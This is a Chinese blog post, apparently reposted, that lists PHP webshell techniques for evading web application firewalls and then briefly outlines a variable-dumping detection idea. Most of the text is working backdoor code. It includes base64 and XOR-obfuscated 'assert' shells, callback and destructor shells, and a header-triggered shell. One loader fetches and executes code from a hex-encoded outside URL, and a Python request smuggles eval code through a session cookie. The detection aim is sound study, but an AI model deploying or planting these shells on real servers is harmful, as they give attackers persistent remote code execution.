PHP常见过waf webshell以及最简单的检测方法

前言

之前在Webshell查杀的新思路中留了一个坑 ️,当时没有找到具体找到全部变量的方法,后来通过学习找到了个打印全部量的方法,并再次学习了下PHP webshell绕过WAF的方法,以此来验证下此方法是否合理。

如有错误,还请指出,不胜感激! :turtle:拜

在那篇文章中我突然想到一种检测webshell的方法,就是首先获取到当前文件中的所有变量(不明白的可以先去看下之前的文章),然后再根据正则库进行静态检测。

自认为这种方法虽然会检测不完全(每个检测机制都不能保障全部有效),但是感觉非常简单、实用,也没那么多高深的道理。

为了验证该检测机制,首先了解下目前PHP webshell绕过WAF的方法。

常见绕过WAF的PHP webshell

字符串变形

大小写、编码、截取、替换、特殊字符拼接、null、回车、换行、特殊字符串干扰

<?php

$a = base64_decode("YXNzYXNz+00000____");

$a = substr_replace($a,"ert",3);

$a($_POST['x']);

?>

ucwords()

ucfirst()

trim()

substr_replace()

substr()

strtr()

strtoupper()

strtolower()

strtok()

str_rot13()

chr()

gzcompress()、gzdeflate()、gzencode()

gzuncompress()、gzinflate()、gzdecode()

base64_encode()

base64_decode()

pack()

unpack()

自写函数

利用 assert()

<?php

function test($a){

$a($_POST['x']);

}

test(assert);

?>

回调函数

<?php

call_user_func(assert,array($_POST[x]));

?>

call_user_func_array()

array_filter()

array_walk()

array_map()

registregister_shutdown_function()

register_tick_function()

filter_var()

filter_var_array()

uasort()

uksort()

array_reduce()

array_walk()

array_walk_recursive()

forward_static_call_array()

利用魔术方法、析构函数 __destruct() , __construct()

<?php

class test

{

public $a = '';

function __destruct(){

assert("$this->a");

}

}

$b = new test;

$b->a = $_POST['x'];

?>

利用外部文件

利用 curl , fsockopen 等发起网络请求再结合 file_get_contents

<?php

error_reporting(0);

session_start();

header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))

$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",

'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);

@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);

?>

无字符特征马

编码、异或、自增

<?php

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';

$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';

$___=$$__;

$_($___[_]); // assert($_POST[_]);

?>

特殊请求头

利用 getallheaders()

<?php

$cai=getallheaders()['cai'];

$dao=getallheaders()['dao'];

if($cai!="" and $dao!=""){

$cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));

}

header('HTTP/1.1 404 Not Found');

?>

全局变量

利用 getenv() , arrag_flip() , get_defined_vars() , session_id()

import requests

url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'

payload = "phpinfo();".encode('hex')

cookies = {

'PHPSESSID':payload

}

r = requests.get(url=url,cookies=cookies)

print r.content

PHP混淆加解密

以phpjiami为例

就是将函数名、变量名全部变成”乱码”,且改动任意一个地方,都将导致文件不能运行。具体可访问: https://www.phpjiami.com/

PHP webshell检测方法

目前我所了解的webshell检测方式有:

  1. 机器学习检测webshell:比如混淆度、最长单词、重合指数、特征、压缩比等
  2. 动态检测(沙箱)
  3. 基于流量模式检测webshell:agent
  4. 逆向算法+静态匹配检测webshell:比如D盾webshell查杀
  5. 根据文件入度出度来检测

实例展示

这里以PHPjiami的webshell为例,其中 2.php 即为phpjiama的木马

可以明显看到明显的webshell规则了,这样再用静态规则、正则等即可轻松检测到。

简单检测思路

检测思路:

文件上传->文件包含->获取所有文件中的变量到临时文件中->静态规则匹配临时文件->返回匹配结果

├── __init__.py

├── conf

│   ├── __init__.py

│   ├── config.py

├── core

│   ├── __init__.py

│   ├── all_check.py

│   ├── data_mysql.py

│   └── file_inotify.py

├── lib

│   ├── __init__.py

│   └── semantic_analysis_api.py

├── test

│   ├── __init__.py

│   ├── file_md5_move.py

│   ├── os_check.py

│   ├── random_file_test.py

│   └── ...

├── web

│   ├── static

│   │   ├── css

│   │   │   ├── main.css

│   │   ├── images

│   │   │   └── background.jpg

│   │   └── js

│   │       └── upload.js

│   ├── templates

│   │   ├── index.html

│   ├── upload_file.php

│   └── include_file_to_tmp.php

├── webshell_check.py

conf中包含的是诸如下列的静态检测规则

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对的支持。

以上是 PHP常见过waf webshell以及最简单的检测方法 的全部内容, 来源链接: utcz.com/p/222980.html

回到顶部